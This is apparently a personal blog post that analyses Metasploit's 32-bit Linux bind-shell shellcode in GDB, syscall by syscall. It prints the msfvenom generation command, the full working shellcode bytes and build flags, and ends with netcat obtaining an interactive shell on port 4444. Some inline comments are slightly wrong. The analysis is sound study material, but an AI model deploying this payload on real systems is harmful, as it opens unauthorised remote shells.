MSF Payload Analysis I
June 18, 2020
This note is about the analysis of Metasploit framework generated shellcode.
OS: Ubuntu 16.04 32 bit
Debugger: GDB
Plug-in: pwndbg
Payload: linux/x86/shell_bind_tcp
Prerequisite
Generate shellcode:
$ msfvenom -p linux/x86/shell_bind_tcp -f c LHOST=0.0.0.0 LPORT=4444 -b \x00
Output (Payload size: 78 bytes):
unsigned char buf[] =
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80"
"\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0"
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f"
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0"
"\x0b\xcd\x80";
Compile loader.c
file into msf_bind_shell
executable:
$ gcc -m32 -fno-stack-protector -z execstack load.c -o msf_bind_shell
Note: Before launch gdb, I do recommend to use some handy tools to boost this analysis process, cause constantly typing disassemble
or x/gbwx $esp/$eip/...
hunts my finger. For example, gdb pwn dev extensions like pwndbg or gef, both were very fine gdb plug-in which can give you a colorful prompt at each breakpoint or interrupt your encountered, containing detailed information like register value, stack layout, etc. In this case, I use pwndbg to help me dissect the functionality of msf shellcode.
Dynamic Analysis
Launch GDB:
$ gdb -q ./msf_bind_shell
Disassemble the main function to locate memory address of shellcode entry point:
(gdb) disassemble main
The entry point is located at the last call
before function ret
. In my case, the shellcode entry point is at 0x08048477
.
Then, set breakpoint at this location and run it:
(gdb) break *0x08048477
(gdb) run
Now the program will hit this breakpoint, step into entry shellcode execution:
(gdb) stepi
If you have pwndbg plug-in installed before, you will now have this prompt displayed:
Before diving into assembly code, here is a quick rehearsal about each register’s functionality when calling syscall, the syscall interface under 32-bit Linux is provided through soft-interrupt 0x80
. The table below describes each register’s usage when evoking syscall.
Register | Usage |
---|---|
EAX | Syscall number |
EBX | Argument 1 |
ECX | Argument 2 |
EDX | Argument 3 |
ESI | Argument 4 |
EDI | Argument 5 |
Now move on, disassemble this frame by use disassemble
or x/43i $esp
command.
Socket() System call
Assembly snippet 1:
0x0804a040 <+0>: xor ebx, ebx ; shellcode entrance
0x0804a042 <+2>: mul ebx ; set both eax, edx to 0x00000000
0x0804a044 <+4>: push ebx
0x0804a045 <+5>: inc ebx ; ebx now holds value 1
0x0804a046 <+6>: push ebx
0x0804a047 <+7>: push 0x2
0x0804a049 <+9>: mov ecx, esp ; ecx holds stack address which point to value 2
0x0804a04b <+11>: mov al, 0x66 ; assign 102 to register al which calling sys_getuid
0x0804a04d <+13>: int 0x80
The above code indicates that first, it zeroes out register EBX
, so does register EAX
and register EDX
, and push EBX
into the current stack frame, after that, it increments 1 for EBX
and push it into the stack followed another push to push 0x2
into the stack again.
Now the stack frame will look like this:
Address Stack
+------------+
.... | .... |
+------------+
esp —▸ 0xbfffef60 | 0x00000002 |
+------------+
0xbfffef64 | 0x00000001 |
+------------+
0xbfffef68 | 0x00000000 |
+------------+
.... | .... |
+------------+
Next instruction moves ESP
’s value to register ECX
and move 0x66
(decimal 102) into 8-bit sub-register AL
from EAX
. Now it’s clear that the program has EBX
(Argument 1) holds 1 refer to the actual sub-function socket and ECX
(argument 2) holds the reference to argument array passed to the sub-function socket with syscall number 102 which stands for sys_socketcall system call.
pwngdb plug-in had register listed out before execute int 0x80
:
Scoketcall stands for socket system calls, here is the definition:
int socketcall(int call, unsigned long *args);
And argument description:
call determines which socket function to invoke. args points to a block containing the actual arguments, which are passed through to the appropriate call.
Possible call values are defined as follow:
#define SYS_SOCKET 1 /* sys_socket(2) */
#define SYS_BIND 2 /* sys_bind(2) */
#define SYS_CONNECT 3 /* sys_connect(2) */
#define SYS_LISTEN 4 /* sys_listen(2) */
#define SYS_ACCEPT 5 /* sys_accept(2) */
#define SYS_GETSOCKNAME 6 /* sys_getsockname(2) */
#define SYS_GETPEERNAME 7 /* sys_getpeername(2) */
#define SYS_SOCKETPAIR 8 /* sys_socketpair(2) */
#define SYS_SEND 9 /* sys_send(2) */
#define SYS_RECV 10 /* sys_recv(2) */
#define SYS_SENDTO 11 /* sys_sendto(2) */
#define SYS_RECVFROM 12 /* sys_recvfrom(2) */
#define SYS_SHUTDOWN 13 /* sys_shutdown(2) */
#define SYS_SETSOCKOPT 14 /* sys_setsockopt(2) */
#define SYS_GETSOCKOPT 15 /* sys_getsockopt(2) */
#define SYS_SENDMSG 16 /* sys_sendmsg(2) */
#define SYS_RECVMSG 17 /* sys_recvmsg(2) */
Therefore, what this snippet actually does is invoking sub-function socket function, with actual arguments consist of 0x2
, 0x1
which stands for AF_INET
and SOCK_STREAM
. After execution, this syscall return value is 0x3
a file descriptor, and stored in register EAX
.
Synopsis of function socket:
#include <sys/types.h> /* See NOTES */
#include <sys/socket.h>
int socket(int domain, int type, int protocol);
Possible return value:
On success, a file descriptor for the new socket is returned. On error, -1 is returned, and errno is set appropriately.
Bind() system call
Assembly snippet 2:
0x0804a04f <+15>: pop ebx ; ebx now holds 0x2
0x0804a050 <+16>: pop esi ; esi now holds 0x1
0x0804a051 <+17>: push edx ; edx holds 0x0, null terminate following content
0x0804a052 <+18>: push 0x5c110002 ; 0x5c11 stand for 4444, 0x0002 stand for family AF_INET in little endian format
0x0804a057 <+23>: push 0x10
0x0804a059 <+25>: push ecx ; push previous stack point (now pointing to 0x5c110002) into stak
0x0804a05a <+26>: push eax ; push previous syscall return value into stack to save file descriptor
0x0804a05b <+27>: mov ecx,esp ; save current stack point to ecx
0x0804a05d <+29>: push 0x66 ; push 0x66 (102) into stack
0x0804a05f <+31>: pop eax ; pop 0x66 (102) out of stack and store it in register eax
0x0804a060 <+32>: int 0x80
Again, since EBX
holds 0x2
the actual function got invoked is sub-function bind, and ECX
holds the address of the other arguments.
Synopsis from man page:
int bind(int sockfd, const struct sockaddr *addr,
socklen_t addrlen);
Possible return value:
On success, zero is returned. On error, -1 is returned, and errno is set appropriately.
Stack layout:
Address Stack
+------------+
.... | .... |
+------------+
esp (ecx) —▸ 0xbfffef54 | 0x00000003 | ◂— socket file descriptor [0]
+------------+
0xbfffef58 | 0xbfffef60 | ◂— memory address of bind address (0x5c110002) [1] —▸ [3]
+------------+
0xbfffef5c | 0x00000010 | ◂— length of address [2]
+------------+
0xbfffef60 | 0x5c110002 | ◂— reference by 0xbfffef58 [3]
+------------+
0xbfffef64 | 0x00000000 |
+------------+
.... | .... |
+------------+
Before calling syscall:
If nothing goes wrong, the content of register EAX
will change to 0, indicate zero is returned. Now, socket successfully binds to port 4444, the next step is to set the listener handler to handle incoming connection.
Listen() system call
Assembly snippet 3:
0x0804a062 <+34>: mov DWORD PTR [ecx+0x4],eax ; eax holds 0x0, set stack address 0xbfffef58 to 0x00000000
0x0804a065 <+37>: mov bl,0x4 ; set ebx to 0x4, perpare to invoke SYS_LISTEN(4)
0x0804a067 <+39>: mov al,0x66 ; set sys_socketcall number
0x0804a069 <+41>: int 0x80 ; system interrupt - calling syscall
Register EBX
set to 4, hence sub-function listen will be called.
Synopsis of listen function:
int listen(int sockfd, int backlog);
Possible return value:
On success, zero is returned. On error, -1 is returned, and errno is set appropriately.
Description:
listen() marks the socket referred to by sockfd as a passive socket, that is, as a socket that will be used to accept incoming connection requests using accept(2).
The sockfd argument is a file descriptor that refers to a socket of type SOCK_STREAM or SOCK_SEQPACKET.
The backlog argument defines the maximum length to which the queue of pending connections for sockfd may grow. If a connection request arrives when the queue is full, the client may receive an error with an indication of ECONNREFUSED or, if the underlying protocol supports retransmission, the request may be ignored so that a later reattempt at connection succeeds.
Stack layout:
Address Stack
+------------+
.... | .... |
+------------+
esp (ecx) —▸ 0xbfffef54 | 0x00000003 | ◂— socket file descriptor [0]
+------------+
[ecx+0x4] —▸ 0xbfffef58 | 0x00000000 | ◂— backlog [1]
+------------+
0xbfffef5c | 0x00000010 |
+------------+
0xbfffef60 | 0x5c110002 |
+------------+
0xbfffef64 | 0x00000000 |
+------------+
.... | .... |
+------------+
Accept() systemcall
Assembly snippet 4:
0x0804a06b <+43>: inc ebx ; increment ebx by 1 which end up to 5 which stand for SYS_ACCEPT(5)
0x0804a06c <+44>: mov al,0x66 ; again sys_socketcall number
0x0804a06e <+46>: int 0x80 ; invoke syscall, waiting for connection
Register EBX
increment to 5, therefore, sub-function accept is called.
Definition of accept function:
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
Possible return value:
On success, these system calls return a nonnegative integer that is a descriptor for the accepted socket. On error, -1 is returned, and errno is set appropriately.
Description:
The accept() system call is used with connection-based socket types (SOCK_STREAM, SOCK_SEQPACKET). It extracts the first connection request on the queue of pending connections for the listening socket, sockfd, creates a new connected socket, and returns a new file descriptor referring to that socket. The newly created socket is not in the listening state. The original socket sockfd is unaffected by this call.
The argument sockfd is a socket that has been created with socket(2), bound to a local address with bind(2), and is listening for connections after a listen(2).
The argument addr is a pointer to a sockaddr structure. This structure is filled in with the address of the peer socket, as known to the communications layer. The exact format of the address returned addr is determined by the socket’s address family (see socket(2) and the respective protocol man pages). When addr is NULL, nothing is filled in; in this case, addrlen is not used, and should also be NULL.
The addrlen argument is a value-result argument: the caller must initialize it to contain the size (in bytes) of the structure pointed to by addr; on return it will contain the actual size of the peer address.
The returned address is truncated if the buffer provided is too small; in this case, addrlen will return a value greater than was supplied to the call.
Stack layout:
Address Stack
+------------+
.... | .... |
+------------+
esp (ecx) —▸ 0xbfffef54 | 0x00000003 | ◂— socket file descriptor [0]
+------------+
—▸ 0xbfffef58 | 0x00000000 | ◂— pointer point to sockaddr [1]
+------------+
0xbfffef5c | 0x00000010 | ◂— pointer point to socklen_t [2]
+------------+
0xbfffef60 | 0x5c110002 |
+------------+
0xbfffef64 | 0x00000000 |
+------------+
.... | .... |
+------------+
Before calling syscall:
Hit Enter or stepi
to step into system interrupt instruction, program will block and waiting for connection.
Open another terminal, use netcat to establish a connection:
$ nc -v 127.0.0.1 4444
In my case, the return value is 4 which represent newly created socket file descriptor.
Dup2() systemcall
Assembly snippet 5:
0x0804a070 <+48>: xchg ebx,eax ; exchange two operands value, swap(eax, ebx), now ebx holds new file descriptor
0x0804a071 <+49>: pop ecx ; pop old socket descriptor out of stack to ecx
0x0804a072 <+50>: push 0x3f ; push 0x3f into stack
0x0804a074 <+52>: pop eax ; pop it to eax
0x0804a075 <+53>: int 0x80
0x0804a077 <+55>: dec ecx ; decrement ecx
0x0804a078 <+56>: jns 0x804a072 <buf+50> ; jump short if sign flag is not zero
Register EAX
now holds 0x3f (63) represent syscall dup2, so this time program is about to invoke dup2 syscall function.
Definition:
int dup2(int oldfd, int newfd);
Possible return value:
On success, these system calls return the new descriptor. On error, -1 is returned, and errno is set appropriately.
What dup2
basically do is to create a copy of the old file descriptor oldfd
using new file descriptor newfd
. After a successful return, the old and new file descriptors may be used interchangeably, refer to the same open file description, and thus share file offset and file status flags.
Register EBX
holds previous newly create file descriptor, however, in this case, it represents oldfd
argument from dup2 function, while register ECX
holds old file descriptor and represents newfd
argument.
Before step in:
After step in, register EAX
change to 3 which represent new file descriptor. Last two instruction stands for a loop, to invoke dup2 function three times, each time with the decremented value from register ECX
, each was 2 —▸ 1 —▸ 0
, till register ECX
end up to 0xffffffff
; sign flag is set, hence loop is complete. Finally, proceed to the next instruction to snippet 6.
In short, above loop translate to C code is:
dup2(4, 2); // 2 - standard error
dup2(4, 1); // 1 - standard output
dup2(4, 0); // 0 - standard input
Its purpose is to redirect stderr, stdout, stdin to socket file descriptor in order to construct an interactive interface for this socket connection.
Execve() system call
Assembly snippet 6:
0x0804a07a <+58>: push 0x68732f2f ; stands for `//sh` in little endian format
0x0804a07f <+63>: push 0x6e69622f ; stands for `/bin` in little endian format
0x0804a084 <+68>: mov ebx,esp ; save stack pointer esp to ebx
0x0804a086 <+70>: push eax ; push 0x0 into stack
0x0804a087 <+71>: push ebx ; push 0x4 into stack
0x0804a088 <+72>: mov ecx,esp ; save stack pointer esp to ecx
0x0804a08a <+74>: mov al,0xb ; mov 0xb(11) to eax, number 11 is call sign of execve function
0x0804a08c <+76>: int 0x80
0x0804a08e <+78>: add BYTE PTR [eax],al
Use Python3 interpreter to get 0x68732f2f
, 0x6e69622f
:
>>> '//sh'[::-1]
'hs//'
>>> 'hs//'.encode().hex()
'68732f2f' —▸ 0x68732f2f
>>> '/bin'[::-1]
'nib/'
>>> 'nib/'.encode().hex()
'6e69622f' —▸ 0x6e69622f
Now, we know the program is intended to launch another program /bin//sh
. Before system interrupt, register EAX
’s content change to 0xb
which decimal number 11, so execve is called.
Synopsis:
#include <unistd.h>
int execve(const char *filename, char *const argv[],
char *const envp[]);
Possible return value:
On success, execve() does not return, on error -1 is returned, and errno is set appropriately.
Stack layout:
Address Stack
+------------+
.... | .... |
+------------+
esp (ecx) —▸ 0xbfffef48 | 0xbfffef50 | ◂— second argument represent address of address of "/bin//sh"
+------------+
0xbfffef4c | 0x00000000 |
+------------+
(ebx) —▸ 0xbfffef50 | 0x6e69622f | ◂— "/bin" = "/bin//sh" ◂— first argument here which is *filename
+------------+ +
0xbfffef54 | 0x68732f2f | ◂— "//sh"
+------------+
0xbfffef58 | 0x00000000 |
+------------+
.... | .... |
+------------+
Before execute syscall:
Check out gdb follow execution info:
(gdb) show follow-fork-mode
Set to follow parent:
(gdb) set follow-fork-mode parent
Disable previous breakpoint:
(gdb) disable breakpoints 1
(gdb) continue
Continue to execute syscall will launch the program /bin/dash, netcat will have an interactive shell.
References
x86 Instruction Set: https://c9x.me/x86/
Ubuntu 16.04 Manual: https://manpages.ubuntu.com/manpages/xenial/man2/
System Call Table: https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_32.tbl
Stackoverflow Question: https://stackoverflow.com/questions/9940391/looking-for-a-detailed-document-on-linux-system-calls
Written by Λrκvxcx, a noob. Follow me on Twitter